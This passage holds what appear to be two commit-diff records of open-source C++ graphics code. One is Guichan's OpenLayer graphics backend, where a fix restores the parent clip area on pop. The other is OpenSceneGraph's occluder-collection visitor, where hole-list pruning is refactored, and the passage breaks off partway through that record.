<W\"\n * 3. Neither the name of Guichan nor the      :$we` _! + _\/ .        j?\n *    names of its contributors may be used     =3)= _f  (_yQmWW$#(    \"\n *    to endorse or promote products derived     -   W,  sQQQQmZQ#Wwa]..\n *    from this software without specific        (js, \\[QQW$QWW#?!V\"\".\n *    prior written permission.                    ]y:.<\\..          .\n *                                                 -]n w\/ '         [.\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT       )\/ )\/           !\n * HOLDERS AND CONTRIBUTORS \"AS IS\" AND ANY         <  (; sac    ,    '\n * EXPRESS OR IMPLIED WARRANTIES, INCLUDING,               ]^ .-  %\n * BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF            c <   r\n * MERCHANTABILITY AND FITNESS FOR A PARTICULAR            aga<  <La\n * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE          5%  )P'-3L\n * COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR        _bQf` y`..)a\n * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,          ,J?4P'.P\"_(\\?d'.,\n * EXEMPLARY, OR CONSEQUENTIAL DAMAGES               _Pa,)!f\/<[]\/  ?\"\n * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT      _2-..:. .r+_,.. .\n * OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,     ?a.<%\"'  \" -'.a_ _,\n * DATA, OR PROFITS; OR BUSINESS INTERRUPTION)                     ^\n * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,\n * WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN\n * ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN\n * IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\/\n\n\/*\n * For comments regarding functions please see the header file.\n *\/\n\n#include \"guichan\/openlayer\/openlayergraphics.hpp\"\n\n#include <OpenLayer.hpp>\n\n#include <string>\n\n#include \"guichan\/exception.hpp\"\n#include \"guichan\/openlayer\/openlayerimage.hpp\"\n\nnamespace gcn\n{\n    OpenLayerGraphics::OpenLayerGraphics()\n    {\n        setTargetPlane(640, 480);\n    }\n    \n    OpenLayerGraphics::OpenLayerGraphics(int width, int height)\n    {\n        setTargetPlane(width, height);\n    }\n\n    OpenLayerGraphics::~OpenLayerGraphics()\n    {\n\n    }\n\n    void OpenLayerGraphics::_beginDraw()\n    {\n        pushClipArea(Rectangle(0, 0, mWidth, mHeight));\n    }\n\n    void OpenLayerGraphics::_endDraw()\n    {\n        popClipArea();\n    }\n\n    bool OpenLayerGraphics::pushClipArea(Rectangle area)\n    {\n        bool result = Graphics::pushClipArea(area);\n        \n        ol::Transforms::SetPosition(mClipStack.top().xOffset,\n                                    mClipStack.top().yOffset);\n        \n        ol::Canvas::SetClipping(mClipStack.top().x,\n                                mClipStack.top().y,\n                                mClipStack.top().width,\n                                mClipStack.top().height);        \n\n        return result;\n    }\n\n    void OpenLayerGraphics::popClipArea()\n    {\n        Graphics::popClipArea();\n        ol::Transforms::SetPosition(0, 0);\n        ol::Canvas::DisableClipping();\n    }\n\n    void OpenLayerGraphics::setTargetPlane(int width, int height)\n    {\n        mWidth = width;\n        mHeight = height;\n    }\n\n    void OpenLayerGraphics::drawImage(const Image* image,\n                                      int srcX,\n                                      int srcY,\n                                      int dstX,\n                                      int dstY,\n                                      int width,\n                                      int height)\n    {\n        const OpenLayerImage* srcImage = dynamic_cast<const OpenLayerImage*>(image);\n\n        if (srcImage == NULL)\n        {\n            throw GCN_EXCEPTION(\"Trying to draw an image of unknown format, must be an OpenLayerImage.\");\n        }\n        \n        srcImage->getBitmap()->Blit(dstX - srcX,\n                                    dstY - srcY,\n                                    ol::ClippedMode(srcX,\n                                                    srcY,\n                                                    width,\n                                                    height),\n                                    1.0f);\n    }\n    \n    void OpenLayerGraphics::drawPoint(int x, int y)\n    {\n        ol::GfxRend::Point(x + 0.5f, y - 0.5f, mRgba);\n    }\n    \n    void OpenLayerGraphics::drawLine(int x1, int y1, int x2, int y2)\n    {\n        mRgba.Select();\n        glDisable(GL_TEXTURE_2D);\n        glLineWidth(1.0f);\n        \n        glBegin(GL_LINES);\n        glVertex2f(x1+0.5f, y1+0.5f);\n        glVertex2f(x2+0.5f, y2+0.5f);\n        glEnd();\n\n        glBegin(GL_POINTS);\n        glVertex2f(x1+0.5f, y1+0.5f);\n        glEnd();\n\n        glBegin(GL_POINTS);\n        glVertex2f(x2+0.5f, y2+0.5f);\n        glEnd();\n\n        if (ol::Settings::TextureMappingUsed())\n        {\n            glEnable(GL_TEXTURE_2D);\n        }\n    }\n\n    void OpenLayerGraphics::drawRectangle(const Rectangle& rectangle)\n    {\n        ol::GfxRend::RectOutline(rectangle.x + 0.5f,\n                                 rectangle.y + 0.5f,\n                                 rectangle.width - 0.5f,\n                                 rectangle.height - 0.5f,\n                                 mRgba);\n    }\n    \n    void OpenLayerGraphics::fillRectangle(const Rectangle& rectangle)\n    {\n        ol::GfxRend::Rect(rectangle.x,\n                          rectangle.y,\n                          rectangle.width,\n                          rectangle.height,\n                          mRgba);\n    }\n\n    void OpenLayerGraphics::setColor(const Color& color)\n    {\n        mColor = color;\n        mRgba.r = color.r \/ 255.0f;\n        mRgba.g = color.g \/ 255.0f;\n        mRgba.b = color.b \/ 255.0f;\n        mRgba.a = color.a \/ 255.0f;\n        mRgba.Select();\n    }\n\n    const Color& OpenLayerGraphics::getColor() const\n    {\n        return mColor;\n    }\n\n    const ol::Rgba& OpenLayerGraphics::getOpenLayerColor() const\n    {\n        return mRgba;\n    }\n}\n<commit_msg>Fix by macieklen has been applied. Poping of the clip area should no be handled correct.<commit_after>\/*      _______   __   __   __   ______   __   __   _______   __   __\n *     \/ _____\/\\ \/ \/\\ \/ \/\\ \/ \/\\ \/ ____\/\\ \/ \/\\ \/ \/\\ \/ ___  \/\\ \/  |\\\/ \/\\\n *    \/ \/\\____\\\/\/ \/ \/\/ \/ \/\/ \/ \/\/ \/\\___\\\/\/ \/_\/\/ \/ \/\/ \/\\_\/ \/ \/\/ , |\/ \/ \/\n *   \/ \/ \/__   \/ \/ \/\/ \/ \/\/ \/ \/\/ \/ \/    \/ ___  \/ \/\/ ___  \/ \/\/ \/| ' \/ \/\n *  \/ \/_\/\/ \/\\ \/ \/_\/\/ \/ \/\/ \/ \/\/ \/_\/_   \/ \/ \/\/ \/ \/\/ \/\\_\/ \/ \/\/ \/ |  \/ \/\n * \/______\/ \/\/______\/ \/\/_\/ \/\/_____\/\\ \/_\/ \/\/_\/ \/\/_\/ \/\/_\/ \/\/_\/ \/|_\/ \/\n * \\______\\\/ \\______\\\/ \\_\\\/ \\_____\\\/ \\_\\\/ \\_\\\/ \\_\\\/ \\_\\\/ \\_\\\/ \\_\\\/\n *\n * Copyright (c) 2004, 2005, 2006, 2007 Olof Naessn and Per Larsson\n *\n *                                                         Js_.\/\n * Per Larsson a.k.a finalman                          _RqZ{a<^_aa\n * Olof Naessn a.k.a jansem\/yakslem                _asww7!uY`>  )\\a\/\/\n *                                                 _Qhm`] _f \"'c  1!5m\n * Visit: http:\/\/guichan.darkbits.org             )Qk<P ` _: :+' .'  \"{[\n *                                               .)j(] .d_\/ '-(  P .   S\n * License: (BSD)                                <Td\/Z <fP\"5(\\\"??\"\\a.  .L\n * Redistribution and use in source and          _dV>ws?a-?'      ._\/L  #'\n * binary forms, with or without                 )4d[#7r, .   '     )d`)[\n * modification, are permitted provided         _Q-5'5W..j\/?'   -?!\\)cam'\n * that the following conditions are met:       j<<WP+k\/);.        _W=j f\n * 1. Redistributions of source code must       .$%w\\\/]Q  . .\"'  .  mj$\n *    retain the above copyright notice,        ]E.pYY(Q]>.   a     J@\\\n *    this list of conditions and the           j(]1u<sE\"L,. .   .\/^ ]{a\n *    following disclaimer.                     4'_uomm\\.  )L);-4     (3=\n * 2. Redistributions in binary form must        )_]X{Z('a_\"a7'<a\"a,  ]\"[\n *    reproduce the above copyright notice,       #}<]m7`Za??4,P-\"'7. ).m\n *    this list of conditions and the            ]d2e)Q(<Q(  ?94   b-  LQ\/\n *    following disclaimer in the                <B!<\/]C)d_, '(<' .f. =C+m\n *    documentation and\/or other materials      .Z!=J ]e []('-4f _ ) -.)m]'\n *    provided with the distribution.          .w[5]' _[ \/.)_-\"+?   _\/ <W\"\n * 3. Neither the name of Guichan nor the      :$we` _! + _\/ .        j?\n *    names of its contributors may be used     =3)= _f  (_yQmWW$#(    \"\n *    to endorse or promote products derived     -   W,  sQQQQmZQ#Wwa]..\n *    from this software without specific        (js, \\[QQW$QWW#?!V\"\".\n *    prior written permission.                    ]y:.<\\..          .\n *                                                 -]n w\/ '         [.\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT       )\/ )\/           !\n * HOLDERS AND CONTRIBUTORS \"AS IS\" AND ANY         <  (; sac    ,    '\n * EXPRESS OR IMPLIED WARRANTIES, INCLUDING,               ]^ .-  %\n * BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF            c <   r\n * MERCHANTABILITY AND FITNESS FOR A PARTICULAR            aga<  <La\n * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE          5%  )P'-3L\n * COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR        _bQf` y`..)a\n * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,          ,J?4P'.P\"_(\\?d'.,\n * EXEMPLARY, OR CONSEQUENTIAL DAMAGES               _Pa,)!f\/<[]\/  ?\"\n * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT      _2-..:. .r+_,.. .\n * OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,     ?a.<%\"'  \" -'.a_ _,\n * DATA, OR PROFITS; OR BUSINESS INTERRUPTION)                     ^\n * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,\n * WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN\n * ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN\n * IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\/\n\n\/*\n * For comments regarding functions please see the header file.\n *\/\n\n#include \"guichan\/openlayer\/openlayergraphics.hpp\"\n\n#include <OpenLayer.hpp>\n\n#include <string>\n\n#include \"guichan\/exception.hpp\"\n#include \"guichan\/openlayer\/openlayerimage.hpp\"\n\nnamespace gcn\n{\n    OpenLayerGraphics::OpenLayerGraphics()\n    {\n        setTargetPlane(640, 480);\n    }\n    \n    OpenLayerGraphics::OpenLayerGraphics(int width, int height)\n    {\n        setTargetPlane(width, height);\n    }\n\n    OpenLayerGraphics::~OpenLayerGraphics()\n    {\n\n    }\n\n    void OpenLayerGraphics::_beginDraw()\n    {\n        pushClipArea(Rectangle(0, 0, mWidth, mHeight));\n    }\n\n    void OpenLayerGraphics::_endDraw()\n    {\n        popClipArea();\n    }\n\n    bool OpenLayerGraphics::pushClipArea(Rectangle area)\n    {\n        bool result = Graphics::pushClipArea(area);\n        \n        ol::Transforms::SetPosition(mClipStack.top().xOffset,\n                                    mClipStack.top().yOffset);\n        \n        ol::Canvas::SetClipping(mClipStack.top().x,\n                                mClipStack.top().y,\n                                mClipStack.top().width,\n                                mClipStack.top().height);        \n\n        return result;\n    }\n\n    void OpenLayerGraphics::popClipArea()\n    {\n        Graphics::popClipArea();\r\n\r\n        if (mClipStack.empty())\r\n        {\r\n            ol::Transforms::SetPosition(0, 0);\r\n            ol::Canvas::DisableClipping();\r\n        } \r\n        else\r\n        {\r\n            const ClipRectangle top = mClipStack.top();\r\n            ol::Transforms::SetPosition(top.xOffset,\r\n                                        top.yOffset);\r\n            ol::Canvas::SetClipping(top.x,\r\n                                    top.y,\r\n                                    top.width,\r\n                                    top.height);\r\n        }\n    }\n\n    void OpenLayerGraphics::setTargetPlane(int width, int height)\n    {\n        mWidth = width;\n        mHeight = height;\n    }\n\n    void OpenLayerGraphics::drawImage(const Image* image,\n                                      int srcX,\n                                      int srcY,\n                                      int dstX,\n                                      int dstY,\n                                      int width,\n                                      int height)\n    {\n        const OpenLayerImage* srcImage = dynamic_cast<const OpenLayerImage*>(image);\n\n        if (srcImage == NULL)\n        {\n            throw GCN_EXCEPTION(\"Trying to draw an image of unknown format, must be an OpenLayerImage.\");\n        }\n        \n        srcImage->getBitmap()->Blit(dstX - srcX,\n                                    dstY - srcY,\n                                    ol::ClippedMode(srcX,\n                                                    srcY,\n                                                    width,\n                                                    height),\n                                    1.0f);\n    }\n    \n    void OpenLayerGraphics::drawPoint(int x, int y)\n    {\n        ol::GfxRend::Point(x + 0.5f, y - 0.5f, mRgba);\n    }\n    \n    void OpenLayerGraphics::drawLine(int x1, int y1, int x2, int y2)\n    {\n        mRgba.Select();\n        glDisable(GL_TEXTURE_2D);\n        glLineWidth(1.0f);\n        \n        glBegin(GL_LINES);\n        glVertex2f(x1+0.5f, y1+0.5f);\n        glVertex2f(x2+0.5f, y2+0.5f);\n        glEnd();\n\n        glBegin(GL_POINTS);\n        glVertex2f(x1+0.5f, y1+0.5f);\n        glEnd();\n\n        glBegin(GL_POINTS);\n        glVertex2f(x2+0.5f, y2+0.5f);\n        glEnd();\n\n        if (ol::Settings::TextureMappingUsed())\n        {\n            glEnable(GL_TEXTURE_2D);\n        }\n    }\n\n    void OpenLayerGraphics::drawRectangle(const Rectangle& rectangle)\n    {\n        ol::GfxRend::RectOutline(rectangle.x + 0.5f,\n                                 rectangle.y + 0.5f,\n                                 rectangle.width - 0.5f,\n                                 rectangle.height - 0.5f,\n                                 mRgba);\n    }\n    \n    void OpenLayerGraphics::fillRectangle(const Rectangle& rectangle)\n    {\n        ol::GfxRend::Rect(rectangle.x,\n                          rectangle.y,\n                          rectangle.width,\n                          rectangle.height,\n                          mRgba);\n    }\n\n    void OpenLayerGraphics::setColor(const Color& color)\n    {\n        mColor = color;\n        mRgba.r = color.r \/ 255.0f;\n        mRgba.g = color.g \/ 255.0f;\n        mRgba.b = color.b \/ 255.0f;\n        mRgba.a = color.a \/ 255.0f;\n        mRgba.Select();\n    }\n\n    const Color& OpenLayerGraphics::getColor() const\n    {\n        return mColor;\n    }\n\n    const ol::Rgba& OpenLayerGraphics::getOpenLayerColor() const\n    {\n        return mRgba;\n    }\n}\n<|endoftext|>"}
{"text":"<commit_before>\/* -*-c++-*- OpenSceneGraph - Copyright (C) 1998-2006 Robert Osfield\n *\n * This library is open source and may be redistributed and\/or modified under\n * the terms of the OpenSceneGraph Public License (OSGPL) version 0.0 or\n * (at your option) any later version.  The full license is in LICENSE file\n * included with this distribution, and on the openscenegraph.org website.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * OpenSceneGraph Public License for more details.\n*\/\n#include <osg\/CollectOccludersVisitor>\n#include <osg\/Transform>\n#include <osg\/Switch>\n#include <osg\/LOD>\n#include <osg\/OccluderNode>\n#include <osg\/Projection>\n\n#include <algorithm>\n\nusing namespace osg;\n\nCollectOccludersVisitor::CollectOccludersVisitor():\n    NodeVisitor(COLLECT_OCCLUDER_VISITOR,TRAVERSE_ACTIVE_CHILDREN)\n{\n\n    setCullingMode(VIEW_FRUSTUM_CULLING|\n                   NEAR_PLANE_CULLING|\n                   FAR_PLANE_CULLING|\n                   SMALL_FEATURE_CULLING);\n\n    _minimumShadowOccluderVolume = 0.005f;\n    _maximumNumberOfActiveOccluders = 10;\n    _createDrawables = false;\n\n}\n\nCollectOccludersVisitor::~CollectOccludersVisitor()\n{\n}\n\nvoid CollectOccludersVisitor::reset()\n{\n    CullStack::reset();\n    _occluderSet.clear();\n}\n\nfloat CollectOccludersVisitor::getDistanceToEyePoint(const Vec3& pos, bool withLODScale) const\n{\n    if (withLODScale) return (pos-getEyeLocal()).length()*getLODScale();\n    else return (pos-getEyeLocal()).length();\n}\n\nfloat CollectOccludersVisitor::getDistanceToViewPoint(const Vec3& pos, bool withLODScale) const\n{\n    if (withLODScale) return (pos-getViewPointLocal()).length()*getLODScale();\n    else return (pos-getViewPointLocal()).length();\n}\n\nfloat CollectOccludersVisitor::getDistanceFromEyePoint(const Vec3& pos, bool withLODScale) const\n{\n    const Matrix& matrix = *_modelviewStack.back();\n    float dist = -(pos[0]*matrix(0,2)+pos[1]*matrix(1,2)+pos[2]*matrix(2,2)+matrix(3,2));\n\n    if (withLODScale) return dist*getLODScale();\n    else return dist*getLODScale();\n}\n\nvoid CollectOccludersVisitor::apply(osg::Node& node)\n{\n    if (isCulled(node)) return;\n\n    \/\/ push the culling mode.\n    pushCurrentMask();\n\n    handle_cull_callbacks_and_traverse(node);\n\n    \/\/ pop the culling mode.\n    popCurrentMask();\n}\n\nvoid CollectOccludersVisitor::apply(osg::Transform& node)\n{\n    if (isCulled(node)) return;\n\n    \/\/ push the culling mode.\n    pushCurrentMask();\n\n    ref_ptr<osg::RefMatrix> matrix = createOrReuseMatrix(*getModelViewMatrix());\n    node.computeLocalToWorldMatrix(*matrix,this);\n    pushModelViewMatrix(matrix.get(), node.getReferenceFrame());\n\n    handle_cull_callbacks_and_traverse(node);\n\n    popModelViewMatrix();\n\n    \/\/ pop the culling mode.\n    popCurrentMask();\n}\n\nvoid CollectOccludersVisitor::apply(osg::Projection& node)\n{\n    if (isCulled(node)) return;\n\n    \/\/ push the culling mode.\n    pushCurrentMask();\n\n    ref_ptr<osg::RefMatrix> matrix = createOrReuseMatrix(node.getMatrix());\n    pushProjectionMatrix(matrix.get());\n\n    handle_cull_callbacks_and_traverse(node);\n\n    popProjectionMatrix();\n\n    \/\/ pop the culling mode.\n    popCurrentMask();\n}\n\nvoid CollectOccludersVisitor::apply(osg::Switch& node)\n{\n    apply((Group&)node);\n}\n\nvoid CollectOccludersVisitor::apply(osg::LOD& node)\n{\n    if (isCulled(node)) return;\n\n    \/\/ push the culling mode.\n    pushCurrentMask();\n\n    handle_cull_callbacks_and_traverse(node);\n\n    \/\/ pop the culling mode.\n    popCurrentMask();\n}\n\nvoid CollectOccludersVisitor::apply(osg::OccluderNode& node)\n{\n    \/\/ need to check if occlusion node is in the occluder\n    \/\/ list, if so disable the appropriate ShadowOccluderVolume\n    disableAndPushOccludersCurrentMask(_nodePath);\n\n\n    if (isCulled(node))\n    {\n        popOccludersCurrentMask(_nodePath);\n        return;\n    }\n\n\/\/    std::cout<<\"CollectOccludersVisitor:: We have found an Occlusion node in frustum\"<<&node<<std::endl;\n\n    \/\/ push the culling mode.\n    pushCurrentMask();\n\n\n    if (node.getOccluder())\n    {\n        \/\/ computeOccluder will check if the occluder is the view frustum,\n        \/\/ if it ins't then the it will return false, when in it will\n        \/\/ clip the occluder's polygons in clip space, then create occluder\n        \/\/ planes, all with their normals facing inward towards the volume,\n        \/\/ and then transform them back into projection space.\n        ShadowVolumeOccluder svo;\n        if (svo.computeOccluder(_nodePath, *node.getOccluder(), *this,_createDrawables))\n        {\n\n            if (svo.getVolume()>_minimumShadowOccluderVolume)\n            {\n                \/\/ need to test occluder against view frustum.\n                \/\/std::cout << \"    adding in Occluder\"<<std::endl;\n                _occluderSet.insert(svo);\n            }\n            else\n            {\n                \/\/std::cout << \"    rejecting Occluder as its volume is too small \"<<svo.getVolume()<<std::endl;\n            }\n        }\n    }\n\n    handle_cull_callbacks_and_traverse(node);\n\n    \/\/ pop the culling mode.\n    popCurrentMask();\n\n    \/\/ pop the current mask for the disabled occluder\n    popOccludersCurrentMask(_nodePath);\n}\n\nvoid CollectOccludersVisitor::removeOccludedOccluders()\n{\n    if (_occluderSet.empty()) return;\n\n    ShadowVolumeOccluderSet::iterator occludeeItr=_occluderSet.begin();\n\n    \/\/ skip the first element as this can't be occluded by anything else.\n    occludeeItr++;\n\n    \/\/ step through the rest of the occluders, remove occluders which are themselves occluded.\n    for(;\n        occludeeItr!=_occluderSet.end();\n        ++occludeeItr)\n    {\n\n        \/\/ search for any occluders that occlude the current occluder,\n        \/\/ we only need to test any occluder near the front of the set since\n        \/\/ you can't be occluder by something smaller than you.\n        ShadowVolumeOccluder& occludee = const_cast<ShadowVolumeOccluder&>(*occludeeItr);\n        ShadowVolumeOccluder::HoleList& holeList = occludee.getHoleList();\n\n        for(ShadowVolumeOccluderSet::iterator occluderItr=_occluderSet.begin();\n            occluderItr!=occludeeItr;\n            ++occluderItr)\n        {\n            \/\/ cast away constness of the std::set element since ShadowVolumeOccluder::contains() is non const,\n            \/\/ and the std::set is a const, just for the invariance of the operator <!! Ahhhhh. oh well the below\n            \/\/ should be robust since contains won't change the getVolume which is used by the operator <.  Honest,  :-)\n            ShadowVolumeOccluder* occluder = const_cast<ShadowVolumeOccluder*>(&(*occluderItr));\n            if (occluder->contains(occludee.getOccluder().getReferenceVertexList()))\n            {\n                \/\/ erase occluder from set.\n                \/\/ take a copy of the iterator then rewind it one element so to prevent invalidating the occludeeItr.\n                ShadowVolumeOccluderSet::iterator eraseItr = occludeeItr--;\n                _occluderSet.erase(eraseItr);\n                break;\n            }\n\n            \/\/ now check all the holes in the occludee against the occluder,\n            \/\/ do so in reverse order so that the iterators remain valid.\n            for(ShadowVolumeOccluder::HoleList::reverse_iterator holeItr=holeList.rbegin();\n                holeItr!=holeList.rend();\n                )\n            {\n                if (occluder->contains((*holeItr).getReferenceVertexList()))\n                {\n                    holeList.erase((++holeItr).base());\n                }\n                else\n                {\n                    ++holeItr;\n                }\n\n            }\n\n        }\n    }\n\n\n    if (_occluderSet.size()<=_maximumNumberOfActiveOccluders) return;\n\n    \/\/ move the iterator to the _maximumNumberOfActiveOccluders th occluder.\n    occludeeItr = _occluderSet.begin();\n    for(unsigned int i=0;i<_maximumNumberOfActiveOccluders;++i)\n        ++occludeeItr;\n\n    \/\/ discard last occluders.\n    _occluderSet.erase(occludeeItr,_occluderSet.end());\n\n}\n<commit_msg>Refactored the way that hole are pruned from the occluder hole list.<commit_after>\/* -*-c++-*- OpenSceneGraph - Copyright (C) 1998-2006 Robert Osfield\n *\n * This library is open source and may be redistributed and\/or modified under\n * the terms of the OpenSceneGraph Public License (OSGPL) version 0.0 or\n * (at your option) any later version.  The full license is in LICENSE file\n * included with this distribution, and on the openscenegraph.org website.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * OpenSceneGraph Public License for more details.\n*\/\n#include <osg\/CollectOccludersVisitor>\n#include <osg\/Transform>\n#include <osg\/Switch>\n#include <osg\/LOD>\n#include <osg\/OccluderNode>\n#include <osg\/Projection>\n\n#include <algorithm>\n\nusing namespace osg;\n\nCollectOccludersVisitor::CollectOccludersVisitor():\n    NodeVisitor(COLLECT_OCCLUDER_VISITOR,TRAVERSE_ACTIVE_CHILDREN)\n{\n\n    setCullingMode(VIEW_FRUSTUM_CULLING|\n                   NEAR_PLANE_CULLING|\n                   FAR_PLANE_CULLING|\n                   SMALL_FEATURE_CULLING);\n\n    _minimumShadowOccluderVolume = 0.005f;\n    _maximumNumberOfActiveOccluders = 10;\n    _createDrawables = false;\n\n}\n\nCollectOccludersVisitor::~CollectOccludersVisitor()\n{\n}\n\nvoid CollectOccludersVisitor::reset()\n{\n    CullStack::reset();\n    _occluderSet.clear();\n}\n\nfloat CollectOccludersVisitor::getDistanceToEyePoint(const Vec3& pos, bool withLODScale) const\n{\n    if (withLODScale) return (pos-getEyeLocal()).length()*getLODScale();\n    else return (pos-getEyeLocal()).length();\n}\n\nfloat CollectOccludersVisitor::getDistanceToViewPoint(const Vec3& pos, bool withLODScale) const\n{\n    if (withLODScale) return (pos-getViewPointLocal()).length()*getLODScale();\n    else return (pos-getViewPointLocal()).length();\n}\n\nfloat CollectOccludersVisitor::getDistanceFromEyePoint(const Vec3& pos, bool withLODScale) const\n{\n    const Matrix& matrix = *_modelviewStack.back();\n    float dist = -(pos[0]*matrix(0,2)+pos[1]*matrix(1,2)+pos[2]*matrix(2,2)+matrix(3,2));\n\n    if (withLODScale) return dist*getLODScale();\n    else return dist*getLODScale();\n}\n\nvoid CollectOccludersVisitor::apply(osg::Node& node)\n{\n    if (isCulled(node)) return;\n\n    \/\/ push the culling mode.\n    pushCurrentMask();\n\n    handle_cull_callbacks_and_traverse(node);\n\n    \/\/ pop the culling mode.\n    popCurrentMask();\n}\n\nvoid CollectOccludersVisitor::apply(osg::Transform& node)\n{\n    if (isCulled(node)) return;\n\n    \/\/ push the culling mode.\n    pushCurrentMask();\n\n    ref_ptr<osg::RefMatrix> matrix = createOrReuseMatrix(*getModelViewMatrix());\n    node.computeLocalToWorldMatrix(*matrix,this);\n    pushModelViewMatrix(matrix.get(), node.getReferenceFrame());\n\n    handle_cull_callbacks_and_traverse(node);\n\n    popModelViewMatrix();\n\n    \/\/ pop the culling mode.\n    popCurrentMask();\n}\n\nvoid CollectOccludersVisitor::apply(osg::Projection& node)\n{\n    if (isCulled(node)) return;\n\n    \/\/ push the culling mode.\n    pushCurrentMask();\n\n    ref_ptr<osg::RefMatrix> matrix = createOrReuseMatrix(node.getMatrix());\n    pushProjectionMatrix(matrix.get());\n\n    handle_cull_callbacks_and_traverse(node);\n\n    popProjectionMatrix();\n\n    \/\/ pop the culling mode.\n    popCurrentMask();\n}\n\nvoid CollectOccludersVisitor::apply(osg::Switch& node)\n{\n    apply((Group&)node);\n}\n\nvoid CollectOccludersVisitor::apply(osg::LOD& node)\n{\n    if (isCulled(node)) return;\n\n    \/\/ push the culling mode.\n    pushCurrentMask();\n\n    handle_cull_callbacks_and_traverse(node);\n\n    \/\/ pop the culling mode.\n    popCurrentMask();\n}\n\nvoid CollectOccludersVisitor::apply(osg::OccluderNode& node)\n{\n    \/\/ need to check if occlusion node is in the occluder\n    \/\/ list, if so disable the appropriate ShadowOccluderVolume\n    disableAndPushOccludersCurrentMask(_nodePath);\n\n\n    if (isCulled(node))\n    {\n        popOccludersCurrentMask(_nodePath);\n        return;\n    }\n\n\/\/    std::cout<<\"CollectOccludersVisitor:: We have found an Occlusion node in frustum\"<<&node<<std::endl;\n\n    \/\/ push the culling mode.\n    pushCurrentMask();\n\n\n    if (node.getOccluder())\n    {\n        \/\/ computeOccluder will check if the occluder is the view frustum,\n        \/\/ if it ins't then the it will return false, when in it will\n        \/\/ clip the occluder's polygons in clip space, then create occluder\n        \/\/ planes, all with their normals facing inward towards the volume,\n        \/\/ and then transform them back into projection space.\n        ShadowVolumeOccluder svo;\n        if (svo.computeOccluder(_nodePath, *node.getOccluder(), *this,_createDrawables))\n        {\n\n            if (svo.getVolume()>_minimumShadowOccluderVolume)\n            {\n                \/\/ need to test occluder against view frustum.\n                \/\/std::cout << \"    adding in Occluder\"<<std::endl;\n                _occluderSet.insert(svo);\n            }\n            else\n            {\n                \/\/std::cout << \"    rejecting Occluder as its volume is too small \"<<svo.getVolume()<<std::endl;\n            }\n        }\n    }\n\n    handle_cull_callbacks_and_traverse(node);\n\n    \/\/ pop the culling mode.\n    popCurrentMask();\n\n    \/\/ pop the current mask for the disabled occluder\n    popOccludersCurrentMask(_nodePath);\n}\n\nvoid CollectOccludersVisitor::removeOccludedOccluders()\n{\n    if (_occluderSet.empty()) return;\n\n    ShadowVolumeOccluderSet::iterator occludeeItr=_occluderSet.begin();\n\n    \/\/ skip the first element as this can't be occluded by anything else.\n    occludeeItr++;\n\n    \/\/ step through the rest of the occluders, remove occluders which are themselves occluded.\n    for(;\n        occludeeItr!=_occluderSet.end();\n        ++occludeeItr)\n    {\n\n        \/\/ search for any occluders that occlude the current occluder,\n        \/\/ we only need to test any occluder near the front of the set since\n        \/\/ you can't be occluder by something smaller than you.\n        ShadowVolumeOccluder& occludee = const_cast<ShadowVolumeOccluder&>(*occludeeItr);\n        ShadowVolumeOccluder::HoleList& holeList = occludee.getHoleList();\n\n        for(ShadowVolumeOccluderSet::iterator occluderItr=_occluderSet.begin();\n            occluderItr!=occludeeItr;\n            ++occluderItr)\n        {\n            \/\/ cast away constness of the std::set element since ShadowVolumeOccluder::contains() is non const,\n            \/\/ and the std::set is a const, just for the invariance of the operator <!! Ahhhhh. oh well the below\n            \/\/ should be robust since contains won't change the getVolume which is used by the operator <.  Honest,  :-)\n            ShadowVolumeOccluder* occluder = const_cast<ShadowVolumeOccluder*>(&(*occluderItr));\n            if (occluder->contains(occludee.getOccluder().getReferenceVertexList()))\n            {\n                \/\/ erase occluder from set.\n                \/\/ take a copy of the iterator then rewind it one element so to prevent invalidating the occludeeItr.\n                ShadowVolumeOccluderSet::iterator eraseItr = occludeeItr--;\n                _occluderSet.erase(eraseItr);\n                break;\n            }\n\n            \/\/ now check all the holes in the occludee against the occluder, and remove the ones that won't be valid\n            unsigned int previous_valid_hole_i = 0;\n            for(unsigned int i=0; i<holeList.size(); ++i)\n            {\n                if (!occluder->contains(holeList[i].getReferenceVertexList()))\n                {\n                    if (previous_valid_hole_i<i)\n                    {\n                        \/\/ copy valid holes into gaps left by invalid ones\n                        holeList[previous_valid_hole_i] = holeList[i];\n                    }\n\n                    previous_valid_hole_i++;\n                }\n            }\n\n            \/\/ remove the tail of the holeList if holes have been removed.\n            if (previous_valid_hole_i<holeList.size())\n            {\n                holeList.erase(holeList.begin()+previous_valid_hole_i,holeList.end());\n            }\n\n        }\n    }\n\n\n    if (_occluderSet.size()<=_maximumNumberOfActiveOccluders) return;\n\n    \/\/ move the iterator to the _maximumNumberOfActiveOccluders th occluder.\n    occludeeItr = _occluderSet.begin();\n    for(unsigned int i=0;i<_maximumNumberOfActiveOccluders;++i)\n        ++occludeeItr;\n\n    \/\/ discard last occluders.\n    